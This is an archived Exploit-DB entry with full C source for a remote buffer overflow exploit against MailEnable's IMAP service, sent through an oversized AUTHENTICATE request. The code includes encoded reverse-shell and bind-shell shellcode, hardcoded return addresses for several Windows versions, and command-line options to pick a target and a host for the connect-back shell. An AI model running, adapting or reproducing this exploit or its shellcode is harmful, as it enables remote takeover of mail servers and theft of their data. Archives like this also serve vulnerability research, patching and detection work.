MailEnable Enterprise 1.x Imapd Remote Exploit

2005-04-05T00:00:00
ID EDB-ID:915
Type exploitdb
Reporter Expanders
Modified 2005-04-05T00:00:00

Description

MailEnable Enterprise 1.x Imapd Remote Exploit. Remote exploit for linux platform

                                        
                                            /*
      +--=[--------------------------x0n3-h4ck Team Presents---------------------------]=--+
      +--=[                                                                            ]=--+
      +--=[ MailEnable (Enterprise <= 1.04)(Professional <= 1.54) remote Imapd exploit ]=--+
      +--=[                                                                            ]=--+
      +--=[  Bug discovered by..: Corryl    (Corryl80@gmail.com)                       ]=--+
      +--=[  Exploit coded by...: Expanders (expanders@gmail.com)                      ]=--+
      +--=[                                                       wwww.x0n3-h4ck.org   ]=--+
      +--=[----------------------------------------------------------------------------]=--+
      
      Personal greetz goes to: crash-x for some code from his Cyrus Imapd sploit
                               cybertronic for reverse shellcode
                               K-C0d3r for coding support
                               x0n3-h4ck.org Members and Friends
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netdb.h>

/*
Connectback Shellcode ::: 316 byte
Link points:
     Ip  : [111] unsigned long  (xored 0x99999999)
     Port: [118] unsigned short (xored 0x9999)
*/

unsigned char reverse_sc[] =
"\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x25\x01\x80\x34\x0B\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF\x70\x62\x99\x99\x99\xC6\xFD\x38\xA9"
"\x99\x99\x99\x12\xD9\x95\x12\xE9\x85\x34\x12\xF1\x91\x12\x6E\xF3"
"\x9D\xC0\x71\x02\x99\x99\x99\x7B\x60\xF1\xAA\xAB\x99\x99\xF1\xEE"
"\xEA\xAB\xC6\xCD\x66\x8F\x12\x71\xF3\x9D\xC0\x71\x1B\x99\x99\x99"
"\x7B\x60\x18\x75\x09\x98\x99\x99\xCD\xF1\x98\x98\x99\x99\x66\xCF"
"\x89\xC9\xC9\xC9\xC9\xD9\xC9\xD9\xC9\x66\xCF\x8D\x12\x41\xF1\xE6"
"\x99\x99\x98\xF1\x9B\x99\x9D\x4B\x12\x55\xF3\x89\xC8\xCA\x66\xCF"
"\x81\x1C\x59\xEC\xD3\xF1\xFA\xF4\xFD\x99\x10\xFF\xA9\x1A\x75\xCD"
"\x14\xA5\xBD\xF3\x8C\xC0\x32\x7B\x64\x5F\xDD\xBD\x89\xDD\x67\xDD"
"\xBD\xA4\x10\xC5\xBD\xD1\x10\xC5\xBD\xD5\x10\xC5\xBD\xC9\x14\xDD"
"\xBD\x89\xCD\xC9\xC8\xC8\xC8\xF3\x98\xC8\xC8\x66\xEF\xA9\xC8\x66"
"\xCF\x9D\x12\x55\xF3\x66\x66\xA8\x66\xCF\x91\xCA\x66\xCF\x85\x66"
"\xCF\x95\xC8\xCF\x12\xDC\xA5\x12\xCD\xB1\xE1\x9A\x4C\xCB\x12\xEB"
"\xB9\x9A\x6C\xAA\x50\xD0\xD8\x34\x9A\x5C\xAA\x42\x96\x27\x89\xA3"
"\x4F\xED\x91\x58\x52\x94\x9A\x43\xD9\x72\x68\xA2\x86\xEC\x7E\xC3"
"\x12\xC3\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D"
"\x12\x9A\x5C\x32\xC7\xC0\x5A\x71\x99\x66\x66\x66\x17\xD7\x97\x75"
"\xEB\x67\x2A\x8F\x34\x40\x9C\x57\x76\x57\x79\xF9\x52\x74\x65\xA2"
"\x40\x90\x6C\x34\x75\x60\x33\xF9\x7E\xE0\x5F\xE0";

/*
Portbind Shellcode ::: 492 byte
Link points:
     Port: [266] unsigned short (xored 0x8888)
*/
unsigned char portbind_sc[] = 
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\xEB\x03\x5D\xEB\x05\xE8\xF8\xFF"
"\xFF\xFF\x8B\xC5\x83\xC0\x11\x33\xC9\x66\xB9\xC9\x01\x80\x30\x88" 
"\x40\xE2\xFA\xDD\x03\x64\x03\x7C\x09\x64\x08\x88\x88\x88\x60\xC4" 
"\x89\x88\x88\x01\xCE\x74\x77\xFE\x74\xE0\x06\xC6\x86\x64\x60\xD9" 
"\x89\x88\x88\x01\xCE\x4E\xE0\xBB\xBA\x88\x88\xE0\xFF\xFB\xBA\xD7" 
"\xDC\x77\xDE\x4E\x01\xCE\x70\x77\xFE\x74\xE0\x25\x51\x8D\x46\x60"
"\xB8\x89\x88\x88\x01\xCE\x5A\x77\xFE\x74\xE0\xFA\x76\x3B\x9E\x60" 
"\xA8\x89\x88\x88\x01\xCE\x46\x77\xFE\x74\xE0\x67\x46\x68\xE8\x60" 
"\x98\x89\x88\x88\x01\xCE\x42\x77\xFE\x70\xE0\x43\x65\x74\xB3\x60" 
"\x88\x89\x88\x88\x01\xCE\x7C\x77\xFE\x70\xE0\x51\x81\x7D\x25\x60" 
"\x78\x88\x88\x88\x01\xCE\x78\x77\xFE\x70\xE0\x2C\x92\xF8\x4F\x60" 
"\x68\x88\x88\x88\x01\xCE\x64\x77\xFE\x70\xE0\x2C\x25\xA6\x61\x60" 
"\x58\x88\x88\x88\x01\xCE\x60\x77\xFE\x70\xE0\x6D\xC1\x0E\xC1\x60" 
"\x48\x88\x88\x88\x01\xCE\x6A\x77\xFE\x70\xE0\x6F\xF1\x4E\xF1\x60" 
"\x38\x88\x88\x88\x01\xCE\x5E\xBB\x77\x09\x64\x7C\x89\x88\x88\xDC" 
"\xE0\x89\x89\x88\x88\x77\xDE\x7C\xD8\xD8\xD8\xD8\xC8\xD8\xC8\xD8" 
"\x77\xDE\x78\x03\x50\xDF\xDF\xE0\x8A\x88\xAB\x6F\x03\x44\xE2\x9E" 
"\xD9\xDB\x77\xDE\x64\xDF\xDB\x77\xDE\x60\xBB\x77\xDF\xD9\xDB\x77" 
"\xDE\x6A\x03\x58\x01\xCE\x36\xE0\xEB\xE5\xEC\x88\x01\xEE\x4A\x0B" 
"\x4C\x24\x05\xB4\xAC\xBB\x48\xBB\x41\x08\x49\x9D\x23\x6A\x75\x4E" 
"\xCC\xAC\x98\xCC\x76\xCC\xAC\xB5\x01\xDC\xAC\xC0\x01\xDC\xAC\xC4" 
"\x01\xDC\xAC\xD8\x05\xCC\xAC\x98\xDC\xD8\xD9\xD9\xD9\xC9\xD9\xC1" 
"\xD9\xD9\x77\xFE\x4A\xD9\x77\xDE\x46\x03\x44\xE2\x77\x77\xB9\x77" 
"\xDE\x5A\x03\x40\x77\xFE\x36\x77\xDE\x5E\x63\x16\x77\xDE\x9C\xDE"
"\xEC\x29\xB8\x88\x88\x88\x03\xC8\x84\x03\xF8\x94\x25\x03\xC8\x80" 
"\xD6\x4A\x8C\x88\xDB\xDD\xDE\xDF\x03\xE4\xAC\x90\x03\xCD\xB4\x03" 
"\xDC\x8D\xF0\x8B\x5D\x03\xC2\x90\x03\xD2\xA8\x8B\x55\x6B\xBA\xC1" 
"\x03\xBC\x03\x8B\x7D\xBB\x77\x74\xBB\x48\x24\xB2\x4C\xFC\x8F\x49" 
"\x47\x85\x8B\x70\x63\x7A\xB3\xF4\xAC\x9C\xFD\x69\x03\xD2\xAC\x8B" 
"\x55\xEE\x03\x84\xC3\x03\xD2\x94\x8B\x55\x03\x8C\x03\x8B\x4D\x63"
"\x8A\xBB\x48\x03\x5D\xD7\xD6\xD5\xD3\x4A\x8C\x88";


int make_bindshell(int port);
int make_reverseshell(char *ip, char *port);
void help(char *program_name);


struct vuln{char *platform;char *retloc;char *ecxloc;} targets[]= {
    { "Windows   2003 - M. E. Enterprise", "\xEC\xDA\x07\x01", "\xE4\xDA\x07\x01",  },
    { "Windows   2003 - M. E. Professional", "\xEC\xDA\x08\x01", "\xE4\xDA\x08\x01", },
    { "Windows 2k Sp4 - M. E. Enterprise", "\x80\xE3\x69\x01", "\x78\xE3\x69\x01", },
    { "Windows 2k Sp4 - M. E. Professional", "\x80\xE3\x6A\x01", "\x78\xE3\x6A\x01", },
    { "Windows XP Sp2 - M. E. Enterprise", "\xF4\x22\x19\x01", "\xEC\x22\x19\x01", },
    { "Windows XP Sp2 - M. E. Professional", "\xF4\x22\xB2\x00", "\xEC\x22\xB2\x00", },
    { "Windows XP Sp1 - M. E. Enterprise", "\xF4\x22\x03\x01", "\xEC\x22\x03\x01", },
    { "Windows XP Sp1 - M. E. Professional", "\xE8\xDA\x02\x01", "\xE0\xDA\x02\x01", },
    { NULL }
};

int main(int argc, char *argv[]) {

    struct sockaddr_in trg;
    struct hostent *he;
    long addr;
    unsigned short port;
    unsigned long ip;
    int sockfd, buff,rc,opt,i;
    int target=0,rport=143,lport=7320;
    char *host=NULL,*lhost=NULL,*cbport;
    char evilbuf[2048];
    char buffer[1024];
    char *request;
    if(argc < 3 ) {
	help(argv[0]);
	exit(0);
    }
    while ((opt = getopt (argc, argv, "h:p:t:b:r:")) != -1){
          switch (opt){
	        case 'h':
	            host = optarg;
	            break;
	        case 'p':
                rport = atoi(optarg);
                if(rport > 65535 || rport < 1){
                    printf("[-] Port %d is invalid\n",rport);
                    return 1;
                }
                break;
            case 't':
                target = atoi(optarg);
                for(i = 0; targets[i].platform; i++);
                if(target >= i && target != 1337){
                    printf("[-] Wtf are you trying to target?\n");
                    help(argv[0]);
                }
                break;
            case 'b':
                lport = atoi(optarg);
                cbport = optarg;
                if(lport > 65535 || lport < 1){
                    printf("[-] Port %d is invalid\n",lport);
                    return 1;
                }
                break;
            case 'r':
                lhost = optarg;
                break;
            default:
                help(argv[0]);
        }
    }
    
    if(host == NULL)
        help(argv[0]);

    printf("\n\n-=[ MailEnable Imapd remote exploit ::: Coded by Expanders ]=-\n");
    he = gethostbyname(host);
    sockfd = socket(AF_INET, SOCK_STREAM, 0);
    request = (char *) malloc(12344);
    trg.sin_family = AF_INET;
    trg.sin_port = htons(rport);
    trg.sin_addr = *((struct in_addr *) he->h_addr);
    memset(&(trg.sin_zero), '\0', 8);
    printf("\n\n[-] Targeting: %s\n",targets[target].platform);
    if ( lhost != NULL )
       printf("[-] Reverse Shell on %s:%d\n\n",lhost,lport);
    else
       printf("[-] Bind Shell on %s:%d\n\n",host,lport);
    printf("[-]Connecting to target   \t...");
    rc=connect(sockfd, (struct sockaddr *)&trg, sizeof(struct sockaddr_in));
    if(rc==0) {
              printf("[Done]\n[-]Building evil buffer   \t...");
              memset(evilbuf,'A',1016);
              memcpy(evilbuf+1016,targets[target].ecxloc,4);;
              memset(evilbuf+1020,'A',2);
              memcpy(evilbuf+1022,targets[target].ecxloc,4);
              memcpy(evilbuf+1026,targets[target].retloc,4);
              memset(evilbuf+1030,0x90,4);
              if ( lhost == NULL) {
                 make_bindshell(lport);
                 memcpy(evilbuf+1034,portbind_sc,sizeof(portbind_sc));
              } else {
                make_reverseshell(lhost,cbport);
                memcpy(evilbuf+1034,reverse_sc,sizeof(reverse_sc));
              }
              printf("[Done]\n[-]Sending evil request   \t...");
              sprintf(request,"A001 AUTHENTICATE %s\r\n",evilbuf);
              send(sockfd,request,strlen(request),0);
              buff=recv(sockfd, buffer, 256, 0);
              if ( lhost == NULL)
                 printf("[Done]\n\n[------Now-telnet-(%s %d)------]\n\n",host,lport);
              else
                 printf("[Done]\n\n[------Now-wait-reverse-on-port-%d------]\n\n",lport);
    }
    else
              printf("[Fail] -> Unable to connect\n\n");
    close(sockfd);
    return 0;
}

int make_bindshell(int port) {
   port = htons(port^(unsigned short)0x8888);
   memcpy(&portbind_sc[266], &port, 2);
}

int make_reverseshell(char *ip, char *port) {
    unsigned long xorip;
    unsigned short xorport;
    xorip = inet_addr(ip)^(unsigned long)0x99999999;
    xorport = htons(atoi( port )^(unsigned short)0x9999);
    memcpy ( &reverse_sc[111], &xorip, 4);
    memcpy ( &reverse_sc[118], &xorport, 2);
}
void help(char *program_name) {
  int i;
  printf("\n\t-=[  Mail Enable Pro & Enterprise Imapd Remote Exploit  ]=-\n");
  printf("\t-=[                  www.x0n3-h4ck.org                  ]=-\n");
  printf("\t-=[    Discovered by CorryL     Coded by Expanders      ]=-\n\n");
  printf("Usage: %s -h <Host> [parameters]\n\n",program_name);
  printf("Parameters:\n");
  printf("\t\t-h <host>   : Host to attack\n");
  printf("\t\t-p <port>   : Imapd Port (Default 143)\n");
  printf("\t\t-t <target> : Target type (Default 0)\n");
  printf("\t\t-b <port>   : Bind or reverse shell port (Default 7320)\n");
  printf("\t\t-r <host>   : Local ip for reverse shell\n");
  printf("Target List:\n");
  for(i = 0; targets[i].platform; i++)
        printf("\t\t%d\t %s\n", i, targets[i].platform);
}

// milw0rm.com [2005-04-05]